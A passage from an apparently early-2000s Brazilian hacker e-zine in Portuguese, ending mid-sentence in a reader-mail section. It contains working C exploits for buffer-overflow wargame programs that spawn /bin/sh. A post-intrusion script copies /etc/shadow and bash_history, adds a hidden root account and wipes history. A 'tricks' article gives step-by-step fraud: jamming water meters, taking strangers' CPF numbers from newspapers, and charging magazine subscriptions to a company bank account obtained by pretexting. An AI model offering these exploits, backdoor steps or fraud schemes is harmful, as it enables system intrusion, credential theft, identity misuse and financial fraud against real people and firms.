(gdb) info addr system
Symbol "system" is at 0x804834c in a file compiled without debugging.


Aki esta o endereco da funcao system. Agora basta fazer o exploit...


<++> insec/abo3xplt.c
/* abo3.c Exploit
* by Cheat Struck
*/


#define BUFFER 256

char b0f[BUFFER+4];

long addr=0x804834c; //Endereco do system()

main(int argc, char *argv[]) {
register int i;

printf("Trying Address: 0x%x\n\n",addr);
for(i=0; i<sizeof(b0f); i+=4)
*(long *) &b0f[i]=addr;

execl("./abo3","abo3",b0f,"/bin/sh",0);
}
<-->


Bem simples heim??
Finalmente vamos ao ultimo programa desta noite...


<++> insec/abo4.c
/* abo4.c *
* specially crafted to feed your brain by gera@core-sdi.com */


/* After this one, the next is just an Eureka! away */

extern system,puts;
void (*fn)(char*)=(void(*)(char*))&system;

int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];

fn=(void(*)(char*))&puts;
strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
fn(argc[3]);
while(1);
}
<-->


Este eh um pouco mais complicado que os anteriores... Vou dar 1 minuto
para voce pensar no que fazer...
E ae? conseguiu?? Vejamos o que temos... um buffer overflow na string
buf, uma variavel dinamica que recebe o valor de argc[2] e um ponteiro
para funcao que recebe puts() e usar argc[3] como argumento.
Entao aki faremos o seguinte:
1. Sobre carregamos buf para causar buffer overwrite em *pbuf apontando-o
para o ponteiro de funcao *fn.
2. Como argc[2] passamos o endereco de system(). Este valor sera colocado
em *fn ja que anteriormente *pbuf passou a apontar para *fn.
3. Como argc[3] passamos "/bin/sh" que sera executado pelo *fn (system).


[root@struck insec]# gdb abo4
...
(gdb) info addr fn
Symbol "fn" is at 0x80495cc in a file compiled without debugging.
(gdb) info addr system
Symbol "system" is at 0x8048374 in a file compiled without debugging.


Agora eh soh codar o xploit...


<++> insec/abo4xplt.c
/* abo4.c Exploit
* by Cheat Struck
*/


#define BUFFER 256

char b0f[BUFFER+4];

long addr=0x8048374; //Endereco do system().
long addr2=0x80495cc; //Endereco do fn.


main(int argc, char *argv[]) {
register int i;
char aux[5];

printf("Trying Address: 0x%x\n\n",addr);
for(i=0; i<sizeof(b0f); i+=4)
*(long *) &b0f[i]=addr2;

*(long *) &aux[0]=addr;

execl("./abo4","abo4",b0f,aux,"/bin/sh",0);
}
<-->


Com isso encerramos nossa maratona de programacao insegura, mostrando
as falhas de funcoes muito usadas e seus devidos metodos de exploitacao.
Espero que tenham gostado pq dae talvez edicao que vem tenha mais.. =P










_xXXXP^'' ``^YXXXx_
_xXXXXP~ 12 - Uma Breve Visao sobre ~YXXXXx_
_xXXXXXX( o Futuro )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Behael _dXXXXP~
~YXXXbx.. ..xdXXXP~

Bem... Este espaco estava reservado para a materia do Behael sobre
Programacao Logica, Inteligencia Artificial, Redes Neurais, etc... Como
a materia acabou ficando muito grande (123Kb) optei por nao publica-la
aki pois o tamanho desta edicao iria crescer consideravelmente.
Portanto caso voce esteje interessado no assunto, estarei disponibi-
lisando o texto na struck.securitynetworks.com.br.
Eh um otimo material de pesquisa para quem quer inteirar-se mais do
assunto. Estes sao os topicos do texto:

[1] Intro.
[2] PrÈ-Requisitos.
[3] InteligÍncia Artificial.
[4] Vida Artificial.
[5] Agentes.
[6] Bioinformatica.
[7] CyberSpace.
[8] Redes Neurais Artificiais.
[9] Prolog.










_xXXXP^'' ``^YXXXx_
_xXXXXP~ 13 - Truques, ~YXXXXx_
_xXXXXXX( trickZ e faucatruaZ )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ onlooker _dXXXXP~
~YXXXbx.. ..xdXXXP~





HACKERS. Dizem que eles est„o em falta. Dizem que eles s„o produtos do passado...
...quando se valorizava honra e justiÁa. Quando as pessoas se arriscavam a fazer o
que achavam que era certo. Quando os crackers faziam algo em comum... ...e diziam
que era exatamente igual...
Mas, se o hacker È um individuo que est· disposto a mostrar suas virtudes, custe o
que custar... ...ele vai se arriscar em dizer a verdade, sobre como devemos ser,
como os verdadeiros devem portar-se, como a cultura est· se perdendo em m„os dos
que n„o acreditam em Ètica coletiva, que acham que Ètica È uma coisa pessoal de
cada um, que devem julgar a seu modo... ent„o ainda h· hackers. E temos sorte por
isso."


[ uma forma de expressar a revolta e polemica que gera sobre a palavra Ètica nesse ]
[ momento, em qual lado estaremos? Nenhum, vocÍ escolhe sua prÛpria lenda, sua Ètica, ]
[ se preferir dizer assim. FaÁa o que quiser.. ]





* Os textos apresentados na zine n„o expressam necessariamente a opini„o da Fatal 3rror.







Adivinha!? introduÁ„o!!
Introducao e o mesmo blablabla de sempre.

Oi,

Primeiramente, peÁo desculpas, mas n„o pra vocÍs. … pro struck, era pra eu
ter escrito pra f3-06 e nem deu. Sem problemas, isso por um lado foi atÈ bom,
pois me deu tempo pra pesquisar algumas coisas a mais. O tÌtulo È mesmo tudo,
vocÍ ir· aprender a tirar um pouco de proveito desse mundo que apenas nos mostra
sua f˙ria. Estes s„o pequenos, mas valiosos truques. Estive pensando em escrever
algumas pequenas tÈcnicas usadas por detetives pra colher informaÁıes das pessoas.
Isso iria parecer muito engenharia social, da qual muitos falam e realmente poucos
s„o h·beis na maneira de convencer e fazer as pessoas aderirem a seus propÛsitos.
Uma das coisinhas que poderemos desfrutar, s„o as assinaturas de revistas. Isso
sim È algo importante, espero que ninguÈm cometa erros, pois sen„o o esquema vasa
e vou ter que bolar outras maneiras pra ter todas as revistas em casa...
As pessoas est„o escrevendo mais sobre phreak, campo em que n„o sei quase nada, mas
arrisco a dar algumas dicas.


N„o quero deixa-los com sede, ent„o eis aqui os truques.


1. CDs de graÁa

Vou direto ao ponto. Essa È muito manjada, o esquema È vocÍ ligar pra editoras
e dizer que o CD que acompanha a revista n„o funciona.
Ter· que ser convincente e colher informaÁıes. Por exemplo, vocÍ est· querendo
muito o linux que aquela revista est· disponibilizando, mas est· sem um tost„o.
N„o fique com raiva, apenas anote a ediÁ„o da revista. Uma forma È acessar o
site da revista e 'checar' por ediÁıes anteriores. Leia o que a revista traz e
o CD, pegando o nome e tudo.
Pra ilustrar, vamos ganhar a PC Master 50, na qual tem uma distribuiÁ„o bastante
interessante, o Debian 2.2 R3.

- AlÙ? Oi, por favor, pode passar para o suporte tÈcnico?
- Sim, aguarde um momento.
- AlÙ, suporte, no que posso ajudar?
- Ah sim, olha, eu comprei a revista que tÍm o Debian e o cd n„o est· pegando!
- Por favor, o senhor n„o est· conseguindo instalar o sistema operacional?
- N„o, o cd n„o est· lendo.
- Ok, qual o problema?
- Eu o coloco no drive e ele n„o lÍ!
- Isso acontece com outros CDs?
- N„o, e sei que o problema È no CD, n„o no drive >:/
- Est· bem, vou estar testando um CD pra vocÍ, e mandando um CD novo...
- T·.
- Estaria pedindo seus dados. Nome,
- xxxx
(d· os dados pra ele, de sua residencia mesmo.)

Dentro de 3 a 4 dias chega pra vocÍ o Cd.

Pra n„o falar que est· È uma coisa tosca, aqui est· apenas alguns telefones.
Na prÛxima ediÁ„o faÁo uma lista bem grande de revistas, DVDs e tudo, ok?

Editora Europa - Revistas: Revista do CD-ROM, PC Master, VideoSom&Cia,
Revista do DVD, CD-ROM F·cil, CD-ROM Escola.
Telefone: 11. 3038.5070 Site: www.europanet.com.br

Editora CD Expert - Revistas: PC Expert, PC Gamer e afins.
Telefone: xx. xxxxxxxxx Site: www.cdexpert.com.br

Editora Digerati - Revistas: Geek, Arquivo Linux, Hackerz mais.
Telefone: xx. xxxxxxxxx Site: www.digerati.com.br

Editora Escala - Revistas: V·rias!
Telefone: xx. xxxxxxxxx Site: www.escala.com.br

- A lista com telefones mais informaÁıes sai na prÛxima ediÁ„o.
Por enquanto sÛ da Europanet! =)

----------------------------------------

2.0 ¡gua de GraÁa

Este È mais um truque bastante bizarro.
O esquema È fazer o relÛgio parar. V·rias pessoas sabem fazer. Mas advirto, n„o
v· querer fazer 'rodar pra tr·s', porque o relÛgio pode estragar.

Esta dica È apenas para os relÛgios de ·gua que tem uma camada protetora de
pl·stico. Algumas s„o de ferro, e n„o d·.
Observe que o relÛgio tÍm algumas roletas, que indicam o uso em metros c˙bicos.
V„o girando conforme vocÍ gasta ·gua (sÈrio?!). Um registro deve ter seis ou mais
marcadores independentes.
Apenas esquente uma agulha bem fina e fure atras no relÛgio, furando completamente,
atÈ atravessar a fina camada de pl·stico do relogio.

<detalhes>

… o seguinte, vocÍ vai ter que colocar a agulha exatamente onde vem
o primeiro numero(deve ser estar pintado de vermelhor), pois n„o
adianta nada vocÍ travar o ultimo, neh? Segue-se assim:

|
|
__________________________|_
/ | \
| [9][8][7][6][5][4][3] (2)(1) |
| |
| xxxxx XXXXX |
| xxx XXXXXXX |


N„o sou bom desenhista mas deu pra entender nÈ? Breve tiro uma foto pra explicar
como funciona...

Retire a agulha e deixe esfriar. Depois coloca ela travando o relÛgio. Apenas cuide-se
com o dia de leitura do relÛgio, vocÍ pode ser multado por isso. Sempre olhe na conta
quando ser· o prÛximo dia de leitura, e destrave uns trÍs dias antes... Use bastante
·gua nesse tempo, pois se eles desconfiarem que o consumo baixou uns 90%, eles v„o
tentar descobrir o que h· de errado. Veja o controle de metros c˙bicos consumidos em
outros meses (na conta de agua), e veja mais ou menos o quanto quer 'economizar'...
Poderia ensinar o mÈtodo de luz... Pena que n„o e t„o f·cil assim, envolve coisas
muito maiores, e n„o quero ser responsabilizado pela morte de qualquer retardado que
arrisque-se a fazer.

----------------------------------------

3. Reabilitar Telefones Desligados Temporariamente

Outra coisa que descobrimos facilmente. Foi testado com margem de 100% no Estado de
S„o Paulo. Talvez seja a TelefÙnica 15 que nos ajude. Em qualquer outro estado deve
ter um serviÁo igual ao que citarei a seguir.

J· aconteceu de alguÈm (seus pais) n„o quererem pagar a conta de telefone, sÛ pra vocÍ
ficar sem internet? Pra deixar vocÍ louco, sem poder bater bronha no nome daquela
gata da playboy? Ou ligar pra minas que conhecemos nos chats?
Ok, n„o È algo t„o dificil de fazer. O exemplo È pra todos de SP, mas podem ser feitos
em outros estados, creio eu.

Ligue pra 0800 77 15 104, o n˙mero de atendimento ao cliente TelefÙnica, digite seu
seu numba:

- TelefÙnica, bom dia, tecle o numero de telefone a ser consultado.

155471285 (este n˙mero È fictÌcio, portanto, n„o liguem!)

- Aguarde...

Vai aparecer v·rias opÁıes, mas o que nos interessa È [conta telefonica]

Tecle 3

- Tecle 4 para obter o valor da conta
- Tecle 5 para obter segunda via resumida
- Tecle 7 para confirmaÁ„o de pagamento de telefone desligado
- Tecle 8 para informaÁıes sobre tarifas
- Tecle 9 para outras informaÁıes

Tecle 7

E daÌ em diante, È sÛ seguir as instruÁıes. Se o telefone n„o estiver
desligado, ser· avisado. Se estiver desligado, informar· a data de corte e
conta atrasada. SÛ pra vocÍ saber, È atendimento autom·tico. V„o informar
que estar„o fazendo a operaÁ„o depois do hor·rio comercial, e vai ser
confirmado ao banco a quitaÁ„o da divida. N„o ligue, se fizer isso antes
das 16 horas, noutro dia ‡s 12:00 j· estar· ligado.

----------------------------------------

4. Como descobrir CPFs e CGCs verdadeiros.

N„o menospreze! … muito importante ter CPFs, principalmente quando os
provedores gr·tis est„o querendo mais e mais dados do us˙ario.
Pra n„o dar dados seus, use o dos outros.
A melhor maneira È procurar em jornais regionais, editais. Sempre convocam
alguÈm pra uma reuni„o ou coisa qualquer.

Existem n˙meros aos milhares. Com Nome e EndereÁo e todos os dados das pessoas.
… assim, vocÍ pode usar esses dados atÈ pra investiagar a vida dessa pessoa,
e obter dados valiosos, È sÛ ser criativo.
Primeiro, veja se ele est· regularizado, em:
http://www.receita.fazenda.gov.br/PessoaFisica/CPF/ConsultaPublica.asp
Vai ter mais dados agora.
Cadastre no iG ou qualquer merda que peÁa CPF.
E guarde o n˙mero pra gente usar depois.

----------------------------------------

5. Assinaturas de revistas.

Ah, espero que saibam o que fazem. Vamos assinar revistas na Editora Abril.
Pode atÈ dar certo em outras editoras, desde que trabalhem com 'dÈbito autom·tico'.
Os telefones da Abril s„o:
Grande S„o Paulo : 11. 3990-2121
Outras Localidades : 0800 701-2828
De 2™ a 6™, das 8h ‡s 22h.

As Revistas que eles oferecem pra assinatura s„o:
Veja . Almanaque Abril . Superinteressante . Info Exame . Exame .
VocÍ S.A . Quatro Rodas . Placar . Playboy . VIP . Claudia . Nova .
Capricho . Contigo . Revista da Web . Minha Novela . AÁ„o Games .

E v·rias outras. … sÛ pra vocÍ ter uma idÈia.

Ligue pra l· e aja como se vocÍ fosse assinar a revista mesmo. N„o v·
ser retardado de tentar dizer que leu o esquema aqui, eles n„o v„o te
gratificar com isso.

DÍ todas as informaÁıes e quando pedirem o modo de pagamento, opte por
dÈbito autom·tico. Aqui vocÍ d· sÛ o numero da conta e agencia que eles
j· aceitam.

Ondem arranjar estes dados? Pegue o Estad„o de Segunda-feira, caderno de
Inform·tica. Veja um anuncio bem grande, de uma empresa bem famosa.
Ligue pra l· e se passe como um comprador (ligue dum tp). Fale que est·
no inteior e n„o pode ir pagar no balc„o. Exponha que pode estar fazendo
um depÛsito no valor do computador, e passando um faz pra confirmar.
Eles te dar„o os dados da conta deles... Agora j· os tem.
(ediÁ„o que vem ensino como 'ganhar' este computador do exemplo)

Passe os dados pra Abril e seja feliz.

Entendimento: A empresa que foi usada jamais vai perceber que sumiu o
valor de uma assinatura na conta corrente. Eles mexem com dinheiro alto,
e a conta È muito movimentada... Por que acham melhor que se envie um fax?
Porque eles n„o v„o ficar tirando extrato a cada venda.

----------------------------------------

6. Finauz.

Desculpem se n„o ficou bem esclarecido algumas coisas. Me comprometo a
continuar com o assunto do 'computador', mas advirto desde j· que È estelionato
e pode dar cadeia. TambÈm estou afirmando que vou gravar em MP3 os golpes
e disponibilizar pra download em algum lugar da minha p·gina. Afinal, j·
olharam a nova onlooker.hpg.com.br? O esqueleto j· est· pronto, com novo
visual. AbraÁos, onlooker.







N„o preciso de modelos, n„o preciso de herÛis. Eu tenho minha prÛpria vida, e
quem decide por ela sou eu.









_xXXXP^'' ``^YXXXx_
_xXXXXP~ 14 - SUPER L33T PROGIES ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ S}{adow _dXXXXP~
~YXXXbx.. ..xdXXXP~

Esta secao ta' sendo muito disputada. O povo comecou a se puchar para
fazer programas elitos somente para serem publicados aki.
A escolha para essa edicao foi dificil... Porem ao rever minha mailbox
achei esta materia que havia sido rejeitada para edicoes passadas. Soh que
relendo o programa descobri que ele realmente eh da elite. Portanto aki
esta a materia enviada por S}{adow na integra.
Nota: no final da materia farei mais alguns comentarios...



------------------------------------------------------------------------
PRA ZINE
Bem aqui estou eu mais uma vez, :-( ESSE CARA DE NOVO )-:
Bem basicamente soh quero apresentar um programinha feito por mim...
Quantas vezes vc conseguiu root no sistema e teve que fazer o processos
manualmente, isso eh chato naum? Eh, e muito foi pensando nisso que
pensei putz naum quero perder tempo e vou fazer um prog que cumpra todas
as rotinas que eu queira rapidamente e soh mandar pra maquina e rodar...
O que ele faz:
Basicamente ele pega todos os arquivos importantes do sistema (syslog, shadow,
passwd, logins.defs .bash_history);
depois adiciona um root com o login shadow (daonde ser· que eu tirei isso) e
depois apaga a bash_history(vc ja deve ter rodado o zap.c antes neh? ent„o
agora soh eh necess·rio apagar a .bash_history, depois de copi·-la eh claro j·
que o zap naum apaga ela). Futuramente quero adicionar um backdoor e um
logcleaner ao prog mas essa eh a primeira vers„o por isso tenham paciÍncia
quando terminar a GETALL v2.0 volto a publica-lo.

BY S}{adow wexhenry@hobbiton.org

<++> Superprogs/getall.c
main()
{
char ch;

printf("
\n\n");
printf("
** GETALL V1.0 ** \n");
printf("
...: BY S}{ADOW wexhenry@hobbiton.org :....\n\n\n");
printf("
Deseja pegar os arquivos e adicionar novo root? (S/N)");
ch = getchar();

switch(ch){
case 'S':
get();
case 'n':
cancelado();
case 's':
get();
case 'N':
cancelado();
default:
printf("
\n\nDigite SIM ou N√O para fazer tudo isso!\n\n\n");
shad();
exit(1);
}
}

get()
{
system("
clear");
printf("
*Pegando arquivos...\n\n");
system("
get /etc/passwd passwd");
system("
get /etc/shadow shadow");
system("
get /etc/syslog.conf syslog.conf");
system("
get /root/.bash_history bash_history");
system("
get /etc/login.defs login.defs");
system("
adduser shadow -o -g users -d /var/spool/ -s /bin/bash");
system("
rm /root/.bash_history");
printf("
*** :-) arquivos capturados e novo root 0K (-: ***\n\n\n");
shad();
exit(1);
}

cancelado()
{
system("
clear");
printf("
*** Que bosta, por que vc cancelou seu h4x0r de circo? :-( ***\n\n");
shad();
exit(1);
}

shad()
{
printf("
by S}{adow wexhenry@hobbiton.org\n\n\n");

exit(1);
}
<-->


------------------------------------------------------------------------


Comentarios de struck:
Como deu pra notar acima, o programa foi muito bem escrito, usando
printf("
bla"); ao inves de system("echo bla"); e usando varias funcoes sem
argumentos e sem retornos. Sem contar as diversas chamadas a exit(1);.
Soh que em meus testes o programa nao funcionou muito bem. Espero que o
problema seja apenas comigo e todos voces possam fazer belas hackeadas
usando o getall. =)
Aki esta o log dos erros apresentados na minha maquina...

sh: get: command not found
sh: get: command not found
sh: get: command not found
sh: get: command not found
sh: get: command not found

Looking for first available UID... 506
Looking for first available GID... 506

Adding login: shadow...done.
Creating mailbox: /var/spool/mail/shadow...done.

Don't forget to set the password.

The home directory for shadow was set to /home/shadow but the directory
was not created. Be sure that you set it up properly.










_xXXXP^'' ``^YXXXx_
_xXXXXP~ 15 - My mailbox ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~

Aki eh onde voce ajuda a fazer a zine... =P
Heheh.. mandem emails para:

cheat@struck.8m.com



##############################################
From : "
**********" <**********@bol.com.br>
Subject : Feliz Anivers·rio!!
Date : Sat, 10 Nov 2001 23:14:15 -0300

> ParabÈns jovem mancebo!!!!
> Ateh q enfim vc passou de fase!!!! Quem diria, jah eh
>quase um homem...E eu q te conheci quando vc era apenas
>um pequenino gurizinho saltitante...
> Falando mais ou menos sÈrio, tudo de bom pra ti neste
>seu novo momento de maioridade...
> Sa˙de,paz e dinheiro pra vir me buscar para
>viajarmos pelo mundo...
> Um beij„o ...de preferÍncia na boca...
> BELE
-----------------------------------------------------------

Aeeeee. Foi a unica que lembrou do meu aniversario.
Belos amigos que eu tenho heim. =~
Bele: um chupao na tua lingua! :***



#############################
From : "
*********" <********@terra.com.br>
Subject : 100 assunto. Hehehehehe
Date : Sat, 1 Dec 2001 19:29:48 -0300

>Ae kra, tipo preciso d uma m„o tua veio, leio a Fatal 3rror, pesquiso
>(e muito) sobre tÈcnicas hackers, ateh og, n„o axei um modo pr·tico q
>ensinasse como invadir por ip e telnet. Juro, nada funfa, ou tah
>desatualizado, como por exemplo, invas„o por ip com windows 95. Porra
>eu uso u rWINDOWS ME, q kraio mesmo, kra c jah foi lamah, todos
>comeÁam d baixo, preciso d algo q realmente funcione, como por
>exemplo, invas„o por telnet, pode parecer q jah tah meio arcaico, mas
>jah vi neguinhu invadi sistema com isso. E por tcp/ip, invas„o por
>ip, kra u conteudo q eu tenho, porra mto mal explicado. Ae kra por
>favor me ajude, naum sou baba-ovo, mas eu leio tuas zines desde o
>tempo da Cheat Stuck Zine, lembra? A part de Vivendo, se naum me
>engano era a mais show, ensinava a jogah fliper d gratis, mas eh
>claro q eu gostava + da part d compilaÁ„o de virii e talz.
>Kra responda a esse e-mail por favor, me de algumas dicas, na boa
>curto mto u teu "
Trabalho", por favor kra me de algumas noÁıes.
>Lembre-se: "
U lamah d og eh u hacker d amanh„" Chico Xavier.
>Huahauhauhauahuahua. Naum serinhu, o veio sei q ning t ensinou, mas
>porra as peskisa da inet eh foda, mto desatualizado.
>VAleu pelo tempo q c demorou p/ ler esse e-mail.
>Obrigado.
-----------------------------------------------------------

Se voce tivesse pesquisado tanto o qto diz, nao taria ae fazendo essas
perguntas idiotas agora. Heheheh.. mas ta blza, pq as vezes vc ta
pesquizando nos lugares errados. Esqueca as porra de page rackers do
cade, google, etc... Vai em www.txt.org e pega la a maior qtidade de
textos e zines q tu conseguir... le tudo, absorve e c mesmo tem q
selecionar o que presta e o que nao presta.
Qto a invasao de ip e telnet. Esqueca isso! Isso nao existe!
O que pode existir no caso do windows eh uma falha na compartilhamento de
arquivos q acabou sendo batizada(provavelmente por um lamer) de invasao por
ip. Isso ja eh tao antigo que somente os rackers de calculadora ainda poem
isso nas suas paginas.
Invasao de telnet deve consistir em acessar o servico de telnet e tentar
exploitar localmente o sistema. Tb pode ser q seja exploitar o daemon de telnet
mas no seu caso achu q nao.



############################################
From : "
*********" <*********@bol.com.br>
Subject : new zine
Date : Wed, 9 Jan 2002 02:44:48 -0200

>ae manow! aqui È o tecnet lembra que eu atÈ te mandei
>a traduÁ„o de uma matÈria pra publicar na fatal 3rror?
>tipo È o seguinte, est· surgindo uma nova zine hacker
>inspirada na sua e como sabemos que vc sempre apoia os
>que t„o comeÁando. Pr isso lhe pedimos para vc publicar
>esse e-mail na a zine. Noso endereÁo È:
>www.thirdeye.8m.com --> tem um link pra sua hp lah
>OBS: se vc achar nosso site parecido com o seu, n„o È
>mera coincidÍncia, nÛs queriamos fazer um site l33t ent„o
>pensamos vamos nos inspirar em alguÈm da elite pra
>faze-lo. PagaÁıes de pau a parte, thanks for all!
-----------------------------------------------------------

Ta feita ae a propaganda da zine entao.. =)
Aproveitei para le-la e como voces pedem la para fazerem criticas a
zine, vou tomar da uns toques:
1o. Como a page foi feita com base na minha, achei q provavelmente
as zines tb ficariam parecidas. Porem me enganei, vcs mostraram
um estilo proprio e autenticidade, o q eh mto bom.
2o. Vcs tem um grupo com bom potencial e bem humorado, eh legal ler
materias que fazem graca com assuntos tratados seriamente.
3o. Nao facam como mtas zines q surgiram por ae, q jogam qquer merda
no pacote apenas para acumularem edicoes. Selecionem melhor o que
sera publicado.
Esta ultima critica pode ter soado sarcastica ja q algumas materias q
vcs publicaram foram rejeitadas por mim. =)
Assim como a f3 ja influenciou o nascimento de mtas zines, tb fez com que
outras acabassem. A 3rdEye ainda esta longe de ser uma das melhores zines
hackers do Brasil (tanto pq ainda esta na 1a edicao) como esta no site de
vcs. Porem tem qualidade e eh mto superior a varias zines ja lancadas no
Brasil. Fazer com que ela c torne uma das melhores e nao somente mais uma
zine brasileira cabe a vcs.
Essas criticas tem como objetivo ajudar no crescimento da zine (caso
minhas palavras tenham sido mau interpretadas). =)


######################################
From : "
*****" <*****@terra.com.br>
Subject : Iae Struck!
Date : Mon, 7 Jan 2002 11:53:57 -0300

>Iae struck... aki eh o mild7, tah lembrado?
>Tava meio sumido, estudando.. hehee :)
>kra... PASSEI NA PUC! :)
>dia 9 to indo lah ver a matricula e talz...
>andei visitando lah, vi o Lapro, o CPD e achei tudo mtu show...
>bom, to indo pq eu tenho que trabalhar, hehehehe
>um abraÁo,
-----------------------------------------------------------

Aeeeee.. meu bixo!!! Alias... bixo dos meus bixo!!!
Vai sofre mto no trote!!!!


#########################
From : ****@uol.com.br
Subject : VangarD
Date : Fri, 28 Dec 2001 18:34:01 -0200 (BRST)

>VangarD era o nick que eu usava, alem de outros, primeiramente estou me
>apresentando, fui um cara mega-viciado em cpu, e hoje nao sou mais por 2 motivos
>principais, primeiro, mexer demasiadamente em cpu È vÌcio, so percebi qdo j· era
>tarde,e ste (como qualquer outro) faz mal, traz prejuÌzos, e qdo colocados em
>uma balanÁa os benefÌcios e malefÌcios, eu estava saindo perdendo, n„o tinha
>vida social, praticamente vivia para os computadores e para a rede, segundo,
>hoje estou na faculdade, faÁo medicina, e no momento precisava me dedicar aos
>vestibulares. Zines, brasileiros, sinceramente eu li quase todos, desde barata
>elÈtrica, atÈ mesmo o seu, tenho uma certa experiencia, dizer que sou hacker,
>n„o, n„o sou hacker n„o, acho na verdade, ninguÈm pode se auto-afirmar que È um
>HACKER. Pelo menos pra mim, o peso e o valor da palavra HACKER vai muito, mas
>muito alÈm de invadir sistemas, e botar medo em outros usu·rios. HACKER na minha
>concepÁ„o È um indivÌduo, que conhece os sistemas, seu funcionamento, suas
>peculiaridades, em sua plenitude, e possui experiencia e pratica, para em uma
>situaÁ„o desconhecida, saber o que deve ser feito.
>Bom estou fugindo totalmente do propÛsito deste e-mail, j· pensei em escrever um
>zine, na Època tinha v·rios amigos que manjavam muito, e eu estava super ligado
>nos assuntos do momento, naquela Època poderia ser feito, hoje n„o mais, por
>isso, para n„o levar meus conhecimentos gerais para o t˙mulo (hehe), acho que
>poderia contribuir com algo na sua coluna, na verdade estou muito inferrujado,
>nao sei se poderei ajudar, mas sinceramente, estou disposto a fazer o que puder
>e o que meu tempo permitir para contribuir com seu zine e mostrar um pouco do
>que eu sei.
>
>Temas que estou mais interado :
>- Phreak
>- Vandalismo (1001 maneiras de matar uma pessoa sem ser suspeito?)HEeh mas que
>maldade... inspirado na brincadeira dos TDK..
>- Criticas em geral
>
>Desde de j· agradecido, AvanT.VangarD
>(mesmo depois de vei, mas ainda na ativa, alias, pra q VIAGRA?)
-----------------------------------------------------------

Bom... o que posso dizer...
Toda a colaboracao eh bem vinda, porem ela passa por um rigoroso
processo de avaliacao. Se tu quer fazer esse bem a humanidade e
compartilhar um pouco do seu conhecimento mesmo q inferrujado, faca
uma (ou +) materia sobre um assunto que vc manje e me envie.
Eu aviso caso va publicar ou nao.
Sobre os temas q vc citou, soh nao sera aceito Vandalismo pois ateh
agora, nenhum tema anarchy foi bem aceito pelo publico. Phreaking e
criticas ainda sao bem vindos.
Usando suas palavras: Desde de ja agradecido (por futuras colaboracoes).



#################################################
From : "
********* ******" <******@hotmail.com>
Subject : programacao
Date : Fri, 28 Dec 2001 00:05:32 +0000

>ae Struck
>eu estou aprendendo a programar em C e, tipo.. serah q vc nao podia me
>recomendar algum tutorial ou livro sobre???? estou com dificuldade em achar
>material bom sobre linguagem C. espero q possa me ajudar.
>valeu!
-----------------------------------------------------------

Pra mim nenhuma documentacao ajudou mais do que as man pages do
linux. Se voce tiver duvida sobre alguma funcao de C que estejam
na biblioteca padrao do seu linux, provavelmente encontrara um
manual sobre ela (Se voce instalou as man pages).
Para quem nao sabe ainda:

shell# man printf
shell# man strcmp
...

Livro de C, o unico que cheguei a ler foi "
C - Completo e Total" q
nao lembro o autor nem a editora. Meu professor de programacao disse
q era o mais completo sobre C entao nao deve ser dificil de achar.
Minha opiniao pessoal sobre o livro eh que ele eh bom para quem ta
comecando, mas se vc ja tem as bases, nao vale a pena gastar R$100 nele.
Se vc sabe onde fica a biblioteca da sua faculdade ou escola, vale a
pena alugar soh pra tirar duvidas rapidas sobre a linguagem.


##################################
From : *********@zipmail.com.br
Subject : Logos
Date : Thu, 27 Dec 2001 12:17:41 -0200
Attachment : logos.zip (145k)

>E ae tudo blz!?
>Hah um bom tempo jah sigo a sua sua zine e acho ela muito boa.
>Eu vi a promocao dos logos da Fatal 3rror e resolvi fazer uns logos, ficaram
>meio feios, eu usei tecnicas manjadas de photoshop, mas se vc quiser pode
>aproveitah-los. Eu praticamente jah desisti do hacking, pois o ano q vem
>2002, vou fazer o 3∫ col. e eu acho q naum vai sobrar tempo pra me dedicar
>a isso, eu nem tenho jeito de aprender muito pois agora na minha cidadezinha
>(sul de MG) tah sem provedor entaum eu soh conecto ahs vezes pelo lig-br,
>e eu nem tenho linux, porq naum eh soh eu q uso o PC em casa e meu HD eh
>pequeno d+ p/ colocar um linux junto, mas deixa de blah-blah-blah.
>T+ e parabens pela zine.
>[]'s
-----------------------------------------------------------

Aeeeeeee!!!
Voce foi o primeiro e unico a participar da nossa promocao!!!
Achu q vc foi o unico q deve ter lido-a. O resto do povo que ta lendo
esse email agora deve ter se perguntado "
Que promocao eh essa?". Porra!
Isso q da nao ler introducoes nem conclusoes da f3.
Ainda bem q alguem leu e...
...
PORRA!!! Ceis nao sabem ler nao???? Olhem na f3-05!!!! la no fim! A
promocao dizia q era pra fazer o log em ASCII e nao em jpg!!!!
asfdsadsasadasfsdfsadsd!!!
Bem... como ninguem se interessou e o unico que se interessou nao
leu as regras do jogo (puts), a promocao acabou e o log que vai ficar
eh este mesmo que nos acompanha desde a f3-02.
Heheheh... querem ver como agora o pessoal vai mandar os asciis.


###########################################
From : Nash Leon <nashleon@yahoo.com.br>
Subject : RE: replica a sua replica...
Date : Thu, 22 Nov 2001 11:45:09 -0300 (ART)

>
-----------------------------------------------------------

Bem... vcs que leram na edicao passada a critica q fiz a etica
da unsekurity pregada por nashleon deviam estar esperando nesta
edicao alguma resposta `a replica dele publicada em:
http://coracaodeleao.virtualave.net/man/kiddieresp.txt
Pois lamento informar que a replica foi enviada diretamente a
esta pessoa e nao pretendo publicar nada para nao puchar mais pinos
de granadas.
A troca de emails q tivemos serviu para apenas debater alguns
